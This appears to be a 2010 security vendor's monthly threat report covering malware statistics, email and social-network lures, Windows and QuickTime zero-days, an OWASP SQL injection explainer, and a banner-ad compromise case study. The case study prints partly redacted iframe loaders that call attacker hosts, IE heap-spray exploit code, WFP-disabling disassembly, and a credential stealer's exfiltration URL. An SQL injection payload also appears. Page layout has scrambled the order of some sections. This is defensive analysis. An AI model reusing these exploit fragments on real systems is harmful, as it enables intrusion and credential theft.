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Ⅰ. Security Trends- July 2010

1. Malicious Code Trend

Malicious Code Statistics

The table below shows the percentage breakdown of the top 20 

malicious codes reported in July 2010. 

[Table 1-2] Top 20 Malicious Code Variant Reports

As of July 2010, Win-Trojan/Agent is the most reported malicious 

code, representing 15.5% (924,398 reports) of the top 20 report-

ed malicious code variants, followed by Win-Trojan/Downloader 

(907,046 reports) and Win-Trojan/Onlinegamehack (477,348 re-

ports). 

The chart below categorizes the top malicious codes reported 

this month. 

[Fig. 1-1] Primary Malicious Code Type Breakdown  

As of July 2010, TextImage/Autorun is the most reported mali-

cious code, followed by Win32/Induc and JS/Exploit, respectively. 

8 new malicious codes were reported this month. 

[Table 1-1] Top 20 Malicious Code Reports

The table below shows the percentage breakdown of the top 20 

malicious code variants reported this month. 

AhnLab Policy Center 4.0
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Compared to last month, the number of script, adware, dropper 

and spyware increased, whereas, the number of Trojan, worm and 

virus reports dropped. The number of downloader and Appcare 

was similar to the previous month. 

There has been a decrease in malicious code reports in July, which 

dropped 9,268 to 12,357,777 from 12,367,045 in June. 

[Fig. 1-2] Top Malicious Code Type Comparison Chart 

[Fig. 1-3] Monthly Malicious Code Reports 

[Table 1-3] Top 20 New Malicious Code Reports 

As of July 2010, Win-Trojan/Downloader.24576.AGK is the most 

reported new malicious code, representing 13.7% (81,181 re-

ports) of the top 20 reported new malicious codes, followed by 

Win-Trojan/Downloader.191416 (50,568 reports). 

Malicious Code Issues

Because of the 7.7 DDoS attack last year, we closely monitored 

and investigated the traffic of DDoS attacks this month. .LNK file 

problem was a huge issue overseas. In Korea, a spam variant dis-

guised as an electronic credit card bill was reported, as well as 

As of July 2010, Trojan is the most reported malicious code, rep-

resenting 47.4% of the top reported malicious codes, followed by 

Worm (11%) and Script (10%). 

[Fig. 1-4] New Malicious Code Type Breakdown

As of July 2010, Trojan is the most reported new malicious code, 

representing 64% of the top reported new malicious codes. It is 

followed by adware (21%) and dropper (7%). 

The table below shows the percentage breakdown of the top 20 

new malicious codes reported in July 2010. 

AhnLab V3 MSS
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Double extensions in Unicode

Exploiting the fact that the Windows Explorer option, ‘Hide exten-

sions for known file types’, is set as default, malware with double 

extensions was distributed via email. For instance, malware.doc.

scr file will be displayed as malware.doc – the .scr extension will 

be hidden. Users may mistake this file as a document file, and 

open it. This method is now no longer used now that it has been 

discovered. Recently, we discovered a malware that exploited the 

fact that Windows Explorer does not correctly display Unicode 

filenames.

Apart from this, a .zip file containing a rogue antivirus was also 

distributed via email. This downloader installs rootkit with con-

cealment technique. It creates \PRAGMA (random 10-character 

alphabets) folder in the Windows folder to create and hide the 

rootkit. It is different from past mass-mailers, but this form of at-

tack still uses the email to lure users into clicking a malicious link 

or downloading a malicious file. You must be careful not to open 

any executable file or documents and click any link in an email 

sent by people you don’t really know.

[Fig. 1-7] Forced allotment of the year 2009 

[Fig. 1-10] Filename containing Unicode character string

When we opened this file in console (cmd.exe), it was not a docu-

ment file – it was a .scr file. As the icon can be manipulated to 

look like a document icon, users can be easily tricked to open the 

malicious file.

[Fig. 1-8] Spam mail with malware attachment reported in July

malicious codes targeting Korean social networking sites. There 

were also reports on Unicode used for filenames of malicious files. 

These files are not displayed correctly in Windows Explorer, so be 

careful with double extensions such as *.doc.scr. With social net-

working sites getting more popular, there were reports on Twitter 

and me2DAY (a Korean SNS) being used to instigate attacks.

Looking back at the 7.7 DDoS attack

It has been a year since the 7.7 DDoS attack, which paralyzed ma-

jor websites in Korea on July 7 last year. Many security solution 

providers were on close watch for new attacks this month. Fortu-

nately there were only small-scale attacks reported.   The cause of 

the recurring attack is as below:

As it can be seen from Fig. 1-7 above, even if you get the local 

time, the year 2009 will get allotted again. So, “unrepaired” sys-

tems may execute the attack again. If you have not yet installed 

an antivirus or restored an infected hard disk image, 7.7 DDoS at-

tack will repeat itself on the same day every year.

More malicious email messages

Without exception, there were reports on malware distributed 

via email again this month. In the past, an infected mass-mailer 

used to send malware to the email addresses in contact groups. 

Now, attackers just use Botnet to send malicious links or html files 

to mass email addresses that have been collected beforehand. A 

malware may be the Botnet, and convince users to click on a mali-

cious link or download a rogue antivirus or backdoor to steal valu-

able information. Malicious email that ran rampant last month 

was detected repeatedly in the beginning of this month. They 

were mainly spam disguised as a credit card bill, but a new type 

of spam was discovered as well – spam disguised as mail from an 

online shopping mall with malware attachment. 
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Most files with double extensions are distributed with ill inten-

tion. If you come across a similar file, do not open the file and scan 

the file with an antivirus or report it to a security solution provider. 

[Fig. 1-11] Filename containing Unicode character string

Malware that lures users

There have been repeated reports on attention-grabbing videos 

created as an executable file. These videos are usually distributed 

via P2P (Peer To Peer) service, online storage service or Internet 

forums. Attackers exploited the fact that users usually download 

these videos and double-click them to watch. The video files are 

actually executable files, but users will not hesitate to open the 

file, as the icon is manipulated to look like a video player icon. 

When you open the file, the video inside the executable file will 

play on the video player, and at the same time, a malware will get 

downloaded to your system – you will have executed the mal-

ware yourself. This social-engineering technique that makes users 

download and run the malware him/herself is being widely used 

to distribute malware. Accordingly, when you download a video 

from the Internet, make sure not to double-click it to play it. Al-

ways remember to open a video player first and “Open” the video 

to prevent malware attack.

[Fig. 1-12] Malware disguised as antivirus icon

If you open the malware, the malware will be registered as a Win-

dows service and automatically run at Windows startup – the 

attacker will be able to control your computer. The additionally 

installed malware uses the information from a popular Chinese 

antivirus to make it hard to detect. To prevent this, always down-

load programs from the vendor’s site or a reputable source.

me2DAY and Twitter malware disguised as freeware

On July 30, we discovered a malware that used SNS (me2DAY and 

Twitter) to distribute a Korean freeware. The freeware is supposed 

to be a mosquito repellent software, but in fact, when run, it cre-

ates a DLL file, ckass.dll (101,376 bytes), in the Windows system 

folder (C:\windows\system32).

[Fig. 1-13] Malware disguised as freeware

Malware disguised as security program

There have been recent reports on malware disguised as antivi-

rus. These malwares are usually distributed via forums, and are 

disguised as an antivirus icon as below.

The DLL file attempts to connect to specific pages of me2DAY and 

Twitter accounts, and when successfully connected, it lures other 

users into downloading and running the malware via tweets.

[Fig. 1-14] me2DAY example

[Fig. 1-15] Twitter example
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2. Security Trend

Security Statistics

Microsoft Security Updates- July 2010

Microsoft released 4 security updates in July.

[Fig. 2-1] MS Security Updates

[Fig. 2-2] Website Intrusions/Distributors of Malicious Code

[Table 2-1] MS Security Updates for July 2010

A security update (MS10-042) for “Vulnerability in Help and Sup-

port Center Could Allow Remote Code Execution” that was an-

nounced by Microsoft last month was released this month. There 

were two security updates for Office and one for the system driv-

er. Extra caution is required for MS10-044 vulnerabilities in Office 

Access ActiveX as there is high possibility of the vulnerability be-

ing exploited.  

Malicious Code Intrusion: Website

The chart above shows the number of website intrusions and 

distributors of malicious codes. There has been an increase in the 

number of website intrusions and malicious code distributors 

since June 2010. (Blue line: Website Intrusion / Red line: Distribu-

tors of Malicious Code)

MS06-014 vulnerabilities and PDF vulnerabilities in Adobe Acro-

bat Reader were exploited the most to distribute malicious code 

through website intrusion. MS10-042 vulnerabilities were exploit-

ed also to distribute malicious code. Users are advised to always 

evaluate and apply the latest security updates.

However when we tested it, the file did not exist in the system, 

and there were no tweet commands as of May 2010, which means 

the Twitter account is no longer used. V3 diagnosed this malware 

as below.

Dropper/Twitbot.494080

Win-Trojan/Agent.101376.DG

AhnLab V3 Internet Security 8.0
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Security Issues

Vulnerability in Windows Shell Could Allow Remote Code Execu-

tion (CVE-2010-2568)

A new zero-day vulnerability that allows remote code execution 

was reported in Windows shell code. This vulnerability is caused 

by improper validation of specific parameters of shortcuts (.lnk) 

by the Windows Shell component when attempting to load the 

icon of a shortcut. An attacker specially crafts a shortcut for the 

victim to see. This executes arbitrary codes the moment the icon 

of the shortcut gets loaded through Windows Shell.  This occurs 

when the file in the path specified in Control Panel Applet in the 

LNK file gets executed with LoadLibrary. A malicious code that ex-

ploits this vulnerability was reported – it infects the USB drive. In-

side of the shortcut is as follows – it contains the following codes 

to persuade use of USB storage. 

If the web server uses a vulnerable web application, and gets in-

fected by Unix/Linux IRCBot, it could attack other systems. The 

Unix/Linux IRCBot code contains the following codes that ex-

ecute commands, portscan and DDoS attack (tcp/udp flooding, 

http flooding).

[Fig. 2-4] Packet that use PHP XML RPC library code execution vulnerability

A security update has not been released for the vulnerability. You 

are advised to disable the display of shortcut icon by deleting the 

default value in the registry. This is just a temporary solution, so 

you should backup the registry key.

 HKEY_CLASSES_ROOT\lnkfile\shellex\IconHandler 

For further details, please refer to Microsoft Security Advisory.1 

1.http://.microsoft.com/technet/security/advisory/2286198.mspx

Vulnerabilities in automated web applications allows Unix/Linux 

IRCBot propagation 

There has been an increase in Unix/Linux IRCBot distribution 

through exploitation of the vulnerabilities in automated web ap-

plication. This method generally attacks domestic websites by us-

ing automated tools or scripts in the hacked system of domestic 

or overseas server. 

The two major attacks that have been reported until today are 

Eval injection vulnerability in PHPXMLRPC (CVE-2005-1921) and 

e107 BBCode PHP code execution vulnerability.

[Fig. 2-5] A part of Unix IRCBot codes

[Fig. 2-3] Shortcut (LNK file) with vulnerability that could allow remote code execution

This attack not only exploits PHP XML RPC, e107 vulnerabilities, 

but also code execution and new vulnerabilities of other web ap-

plications, so there is high possibility of propagation. To prevent/

detect these attacks, install the latest security patches for the web 

application programs, and consider using IPS/IDS, which is a net-

work security device.

Zero-day vulnerability in QuickTime Player

On July 30, it has been reported that Apple QuickTime is prone 

to a stack-based buffer-overflow vulnerability. A security update 

has not yet been released for the zero-day vulnerability. Secunia 

issued “Secunia Advisory SA40729 QuickTime Player Streaming 

Debug Error Logging Buffer Overflow” for the vulnerability.

Maliciously crafted movie files, like the ones below, exploit the 

flaw 
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[Table 3-1] Website Security Summary

3. Web Security Trend

Web Security Statistics

Web Security Summary

Monthly Reported Malicious Codes

[Fig. 3-1] ] Monthly Reported Malicious Codes

As of July 2010, there were 100,682 reported malicious codes, re-

ported types of malicious code, domains with malicious code and 

URLs with malicious code740 types of reported malicious code, 

708 reported domains with malicious code, and 3,112 reported 

URLs with malicious code. The number of reported malicious 

codes, types of malicious code, and domains and URLs with mali-

cious code have decreased from last month. 

As of July 2010, the number of reported malicious codes de-

creased 58% to 100,682, from 173,283 the previous month.

Monthly Reported Types of Malicious Code

[Fig. 3-2] Monthly Reported Types of Malicious Code 

As of July 2010, the number of reported types of malicious code 

remained almost the same. There were 897 reports this month, 

which is 18 less than the previous month.

When you run the specially crafted file, Internet Explorer will open 

to download a file from a system, as below.

[Fig. 2-6] Malicious MOV file disguised as a latest movie

If you run the downloaded Music_Installer.exe (208,896 bytes), 

hardware and sensitive information will get stolen from your sys-

tem.

[Fig. 2-7] IE attempts connection in the background when specially crafted MOV file runs

[Fig. 2-8] Malware downloaded by vulnerable QuickTime Player

ASEC is currently analyzing this vulnerability and the specially 

crafted file that is exploiting the vulnerability. V3 detects this ma-

licious file as:

Win-Trojan/Quicktm

Win-Trojan/MDrop.208896

The number of malicious codes that are exploiting the vulnerabil-

ity is not increasing, but before Apple releases a security patch, be 

careful when opening MOV file from QuickTime Player.
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[Table 3-5] Top Distributed Types of Malicious Code

Top 10 Distributed Malicious Codes

[Table 3-3] Top 10 Distributed Malicious Codes

Distribution of Malicious Codes by Type

[Table 3-2] Top Distributed Types of Malicious Code

Web Security Issues

OWASP 2010 TOP1

Starting from this issue, we will examine each OWASP Top 10 Web 

Application Security Risks for 2010 that was summarized in Vol. 6. 

In this issue, we will go look into the top 1 web application secu-

rity risk of 2010 – “ Injection”. 

The application security risk for injection attacks is as follows:

As of July 2010, Win-Trojan/Downloader.51865 is the most distrib-

uted malicious code, with 24,328 cases reported. 4 new malicious 

codes, including Win-Trojan/Downloader.518657, emerged in the 

top 10 list this month.

[Fig. 3-6] Application security risk for injection attacks

1) Details

Threat Agents: Anyone who can send untrusted data to the sys-

tem, including external users, internal users, and administrators.

[Fig. 3-3] Monthly Domains with Malicious Code 

Monthly Domains with Malicious Code

As of July 2010, the number of reported domains with malicious 

code decreased 13% to 708, from 818 the previous month. 

Monthly URLs with Malicious Code

[Fig. 3-4] Monthly URLs with Malicious Code 

As of July 2010, the number of reported URLs with malicious code 

decreased 17% to 3,112, from 3,738 the previous month.

As of July 2010, Adware is the most distributed type of malicious 

code representing 45.9% (46,203 reports) of the top distributed 

type of malicious codes, followed by Trojan that represent 37% 

(37,229 reports).
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Attack Vectors: Attacker sends simple text-based attacks that ex-

ploit the syntax of the targeted interpreter. Almost any source of 

data can be an injection vector, including internal sources. Hence, 

exploitation is easy.

Security Weakness: Injection flaws occur when an application 

sends untrusted data to an interpreter. Injection flaws are very 

prevalent, particularly in legacy code, often found in SQL queries, 

LDAP queries, XPath queries, OS commands, program arguments, 

etc. Injection flaws are easy to discover when examining code, but 

more difficult via testing. Scanners and fuzzer scan help attackers 

find them.

Hence, the prevalence is common, and detectability is average.

Technical Impacts: Injection can result in data loss or corruption, 

lack of accountability, or denial of access. Injection can sometimes 

lead to complete host takeover. Hence, the impact is severe.

Business Impacts: Consider the business value of the affected data 

and the platform running the interpreter. All data could be stolen, 

modified, or deleted, and your reputation could be harmed.

2) Injection scenario

The application uses untrusted data in the construction of the fol-

lowing vulnerable SQL call:

String query=”SELEC * FROM accounts WHERE custID=” +request.

getParameter(“id”)+””;

The attacker modifies the ‘id’ parameter in their browser to send: 

‘ or ‘1’=’1. This changes the meaning of the query to return all the 

records from the accounts database, instead of only the intended 

customer’s.

http://example.com/app/accountview?id=’or’1’=’1 

In the worst case, the attacker uses this weakness to invoke spe-

cial stored procedures in the database that enable a complete 

takeover of the database and possibly even the server hosting 

the database.

3) Prevention

Preventing injection requires keeping untrusted data separate 

from commands and queries.

  1. To prevent injection, 

     A. avoid the use of interpreter entirely;

     B. use a safe API that provides a parameterized interface; and

     C. be careful of APIs, such as stored procedures, that are param-

         eterized, but can introduce injection.

  2. If a parameterized API is not available,

     A. carefully escape special characters using the specific escape -

         syntax for that interpreter.

For further details, please refer to the following references.

[[Reference]]

OWASP

 •OWASP SQL Injection Prevention Cheat Sheet

 •OWASP Injection Flaws Article

 •ESAPI Encoder API

 •ESAPI Input Validation API

 •ASVS: Output Encoding/Escaping Requirements (V6)

 •OWASP Testing Guide: Chapter on SQL Injection Testing

 •OWASP Code Review Guide: Chapter on SQL Injection

 •OWASP Code Review Guide: Command Injection

External

 •CWE Entry 77 on Command Injection

 •CWE Entry 89 on SQL Injection

AhnLab V3Net for Windows Server 7.0
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Ⅱ. Technical Insight

1. Website intrusion case study: Malicious code 
distribution through banner ad sites

We received more reports on modified imm32.dll file, which is a 

normal Windows file, on the weekends than weekdays. We ana-

lyzed this matter and found multiple sites distributing a malicious 

code that patches imm32.dll. As a result of examining the sites, 

we found two things in common.

1. The following two links that download malicious script were 

inserted in each site.

http://210.***.***.241/hong/ro**.html

http://xdf.*****caiinfo:801/ro**.html

2. The sites used banner ads provided by the same banner ad 

companies. In other words, malicious scripts that distribute ma-

licious codes were inserted into the banner ads provided by a 

specific banner ad company. Even though the sites were not vul-

nerable, the sites that used the banner ad became distributors of 

malicious codes.

[Fig. 4-1] Malicious iframe link inserted to banner ad

We found two banner ad companies whose process of malicious 

code distribution is as below:

[Fig. 4-2] Distribution of malicious codes through banner ads provided by banner ad company

As it can be seen in Fig. 4-2 above, attackers do not need to go 

through the trouble of finding vulnerable sites to distribute mali-

cious codes. Therefore, site administrators must closely examine 

the security of all the contents they get from outside, even if their 

website is not vulnerable.

This case was closely evaluated to call attention.

[Fig. 4-3] Main window of log***.co.kr

[Table 4-4] Scripts with inserted malicious scripts

As it can be seen in Fig. 4-4, malicious scripts are inserted into Ja-

vaScript, and when the scripts are executed, the site to install the 

malicious code that patches imm32.dll will open.
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[Table 4-1] Decryption of inserted malicious scripts

The process of running decrypted ro**.html was analyzed as be-

low.

http://210.***.***.241/hong/ro**.html 

     L http://210.***.***.241/hong/cool.html 

          L http://210.***.***.241/hong/i6.htm 

          L http://210.***.***.241/hong/i7.htm 

          L http://210.***.***.241/hong/ko1.htm 

          L http://210.***.***.241/hong/ko2.htm 

[Table 4-2] Sub-URL when ro**.html is running

In cool.htm page, there is the User Agent value – when the IE is 

version 6, i6.htm is loaded, and when IE is version 7, i7.htm gets 

loaded and vice versa. Apart from this, ko1.htm and ko2.htm gets 

loaded as well.

document.writeln(“document.write(\”<iframe src=ko1.htm width=124 
height=1><\/iframe>\”);”); 

document.writeln(“if(navigator.userAgent.toLowerCase().indexOf(“msie 6”)>0)
{“); 
document.writeln(“document.write(\”<iframe width=126 height=111 src=i6.
htm><\/iframe>\”);}”); 

document.writeln(“if(navigator.userAgent.toLowerCase().indexOf(“msie 7”)>0)
{“); 
document.writeln(“document.write(\”<iframe src=i7.htm width=126 
height=111><\/iframe>\”);}”); 

document.writeln(“document.write(\”<iframe src=ko2.htm width=124 
height=1><\/iframe>\”);”); 

[Table 4-3] A part of cool.htm codes

The i6.htm codes downloaded when using IE6 from a computer 

on which cool.htm file is downloaded are as below. The vulner-

ability that is exploited on the page is Microsoft Internet Explorer 

“iepeers.dll” Use-after-free Vulnerability (MS10-018).

* Reference: 

Korean: http://www.microsoft.com/korea/technet/security/bulletin/ms10-018.mspx

English: http://www.microsoft.com/technet/security/bulletin/ms10-018.mspx

function 
anheiwangmaya(){ 
OnLyAnHeIWmUp(); 
var 
WoAiAnHeYwM = 
document.createElement(‘bo’+’dy’); 
WoAiAnHeYwM.addBehavior(‘#def’+’ault#userData’); 
document.appendChild(WoAiAnHeYwM); 
try 
{ 
for (AnHeYsIzE=0; 
AnHeYsIzE<10; AnHeYsIzE++) 
{ 
WoAiAnHeYwM.setAttribute(‘s’,window); 

[Table 4-4] A part of i6.htm codes

The following is i7.htm code when using IE7. Just like i6.htm, it 

exploits Microsoft Internet Explorer “iepeers.dll” Use-after-free 

Vulnerability (MS10-018).

function ahhswm() 
{ 
var d=document.createElement(‘D’+’IV’); 
d.addBehavior(‘#default#userData’); 
document.appendChild(d); 
try{for (i=0;i<10;i++) 
{d.setAttribute(‘s’,window);}} 
catch(e){} 
window.status+=’’; 
} 
var memory; 
var temptest = decodeURI(‘,sun,0c0c,sun,0c0c’); 
var nop=window[‘unescape’](temptest.replace(/,sun,/g,’%u’)); 
var SC=sc(); 
var xcode=code()-SC.length*2; 
while(nop[‘length’] <= xcode) nop+=nop; 
nop=nop.substring(0,xcode - SC.length); 
memory=new Array(); 
for(i=0;i<0x100;i++){memory[i]=nop + SC;} 

[Table 4-5] A part of i7.htm codes

ko1.htm codes were also analyzed. The file exploits vulnerabilities 

in Adobe Flash (CVE-2009-1862).

* Reference:  http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1862

document.writeln(“var ff=new window[\”ActiveXObject\”](“Shockwave-
Flash.ShockwaveFlash”);}”); 
document.writeln(“catch(f){}; “); 
document.writeln(“finally{if(f!=\”[object Error]\”){aabb = \”<iframe 
src=kof.htm width=123 height=111><\/iframe>\”;”); 
document.writeln(“document.write(aabb);}}”); 
document.writeln(“”); 

[Table 4-6] A part of ko1.htm codes

[Before decryption] 

window[“\x64\x6f\x63\x75\x6d\x65\x6e\x74”][“\x77\

x72\x69\x74\x65”](“\x3c\x69\x66\x72\x61\x6d\x65\x77\

x69\x64\x74\x68\x3d\x27\x31\x30\x27\x68\[omitted]\x74\

x70[omitted]\x32\x33\x33\x2e[omitted]\x2f\x72\x6f\[omitted]\x3c\

x2f\x69\x66\x72\x61\x6d\x65\x3e”); 

[After decryption] 

documentwrite<iframewidth=’10’height=’1’src=’http://211.***.***.241/

ro**.html’></iframe> 
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Ko2.htm codes were also analyzed. The file exploits Microsoft Of-

fice Web Components (Spreadsheet) ActiveX BOF (MS09-043).

* Reference: 

Korean:  http://www.microsoft.com/korea/technet/security/bulletin/ms09-043.mspx

English:  http://www.microsoft.com/technet/security/bulletin/ms09-043.mspx

The analyzed malicious script files are generally recently reported 

vulnerabilities, and are used to distribute malicious codes. Users 

are advised to not only consider the convenience of using their 

PC, but also potential security issues. The distributed malicious 

codes were analyzed to find the distribution process as below.

[Fig. 4-5] Malicious code operation

1. h**p://210.***.***.236/top/x7.exe is downloaded with Exploit 

script.

2.  The downloaded x7.exe is saved and executed as %PROGRAM-

FILE%\Common Files \SafeDrv.exe.

3. Some information on the infected PC is collected and sent to 

find the current status of the infected PC. 

☞ Send information of infected pc : http://www.tv****.com(KR) 

/count.asp?Mac=[Mac address]&Os=[OS version]&Ver=[malicious code 

version]&Key=[key created by infected PC] 

4. h**p://210.***.***.236/top/s2.exe is downloaded and executed 

as as %PROGRAMFILE%\s2.exe.

5~6. When s2.exe is executed, the functions in Fig. 2-7 are used to 

create a DLL file.

7~8. Before patching the imm32.dll, the normal file is backed up 

as imm32.dll.log.

9. imm32.dll is a Windows system file, and is monitored by WFP 

(Windows File Protection). So before patching the file, s2.exe uses 

function (#5) to disable WFP for one minute from sfc_os.dll.

LoadLibraryA() : Get ImageBase of sfc_os.dll

00401C81 |. 68 EC614000 push 004061EC ; /FileName = “sfc_os.dll”

00401C86 |. 66:AB stos word ptr es:[edi] ; |

00401C88 |. FF15 34404000 call dword ptr [<&KERNEL32.LoadLibrar>; \

LoadLibraryA

GetProcAddress() : Get RVA of Undocumented API #5 from sfc_os.dll

00401C8E |. 6A 05 push 5 ; /ProcNameOrOrdinal = #5 

00401C90 |. 50 push eax |hModule = 76C10000 (sfc_os), sfc_os.dll의 Im-

ageBase

00401C91 |. FF15 30404000 call dword ptr [<&KERNEL32.GetProcAdd>; \

GetProcAddress 

SfcFileException() : Disable WFP of imm32.dll for one minute

00401CC0 |. 50 push eax ; eax = “C:\WINDOWS\system32\imm32.

dll”) 

00401CC1 |. 6A 00 push 0 00401CC3 |. FFD6 call esi ; esi = 76C19496 

(sfc_os.#5), SfcFileException()’s RVA 

[Table 4-7] WFP (Windows File Protection) disabling code of imm32.dll

10. The normal %SYSTEM%\imm32.dll is backed up as %SYS-

TEM%\imm32.dll.log before patching the file. When one minute 

has passed, the patched imm32.dll is protected by WFP. In other 

words, the patched imm32.dll will be detected as a normal Win-

dows file. 

[Fig. 4-6] Section information of patched imm32.dll

As it can be seen in Fig. 4-6, .sy32 section is added to the patched 

imm32.dll to automatically load ole.dll, which is a game hack 

malicious code, when loading patched imm32.dll from a specific 

process.
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11. ole.dll steals account information from the online game user 

and sends it to a specific URL. The targets for stealing account in-

formation are as follows: 

www.ha*****.com / www.sev*******online.co.kr / *****uls.ha*****.com / 
www.p*****.com 
st*****word= / st****il= / c*****ail= / l****.bin / l****2.bin / d*****.exe / iex-
plore.exe / ****story.exe 
****es.exe / game.exe / launcher.exe 

[Table 4-8] Targets for stealing account information

The URL that is used to leak stolen account information from the 

game hack malicious code is encrypted, and the following de-

cryption routine is used in ole.dll to decrypt encrypted URL.

00BC1058 56 push esi 
00BC1059 8B7424 08 mov esi, dword ptr [esp+8] ; starting address of en-
crypted URL
00BC105D 803E 00 cmp byte ptr [esi], 0 
00BC1060 74 1C je short 00BC107E 
00BC1062 8A06 mov al, byte ptr [esi] 
00BC1064 837C24 0C 00 cmp dword ptr [esp+C], 0 
00BC1069 50 push eax 
00BC106A 74 07 je short 00BC1073 
00BC106C E8 8FFFFFFF call 00BC1000 
00BC1071 EB 05 jmp short 00BC1078 
00BC1073 E8 B4FFFFFF call 00BC102C 
00BC1078 8806 mov byte ptr [esi], al ; address where decrypted URL is saved
00BC107A 59 pop ecx 
00BC107B 46 inc esi 
00BC107C ^ EB DF jmp short 00BC105D 

[Table 4-9] Decryption routine

Encrypted URL: 

00BBEF5C]=00BBF37C,(ASCIIs{{8HSSCDDBR39sD4R’4qDSC9Dov

uvS+\V\sm4BR |8”) 

Decrypted URL: 

00BBEF64 00BBF37C ASCII “http://look.mu****.info/luo8212/

rcvchenk.asp”

12. It creates Autorun.INF and its own copy in all drives to attempt 

propagation.

13. Lastly, it adds its value to the registry to be automatically ex-

ecuted.

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Cur-

rentVersion\Policies\Explorer\Run 

SafeDrv=”%PROGRAMFILE%\Common Files\SafeDrv.exe” 

As mentioned above, the websites were not violated to distribute 

the malicious code.  Banner ad companies were violated to pro-

vide banner ad with malicious scripts to distribute the malicious 

code. However, users will think that the sites they visited are the 

ones that distributed the malicious code.

 If a banner ad company is violated, all the sites that use banner 

ads from the company will get affected. It will seem as if multiple 

sites were violated at the same time to distribute the malicious 

code. Accordingly, website administrators need to keep close 

track of the security of all the contents they get from outside. Ma-

licious code infection can be prevented by keeping your PC up-

to-date with the latest security updates. The fundamental prob-

lem must be solved – you should not just rely on your security 

system. In other words, it is very important to regularly update 

your computer with the latest security patches, and check for se-

curity vulnerabilities in your OS and application programs. 
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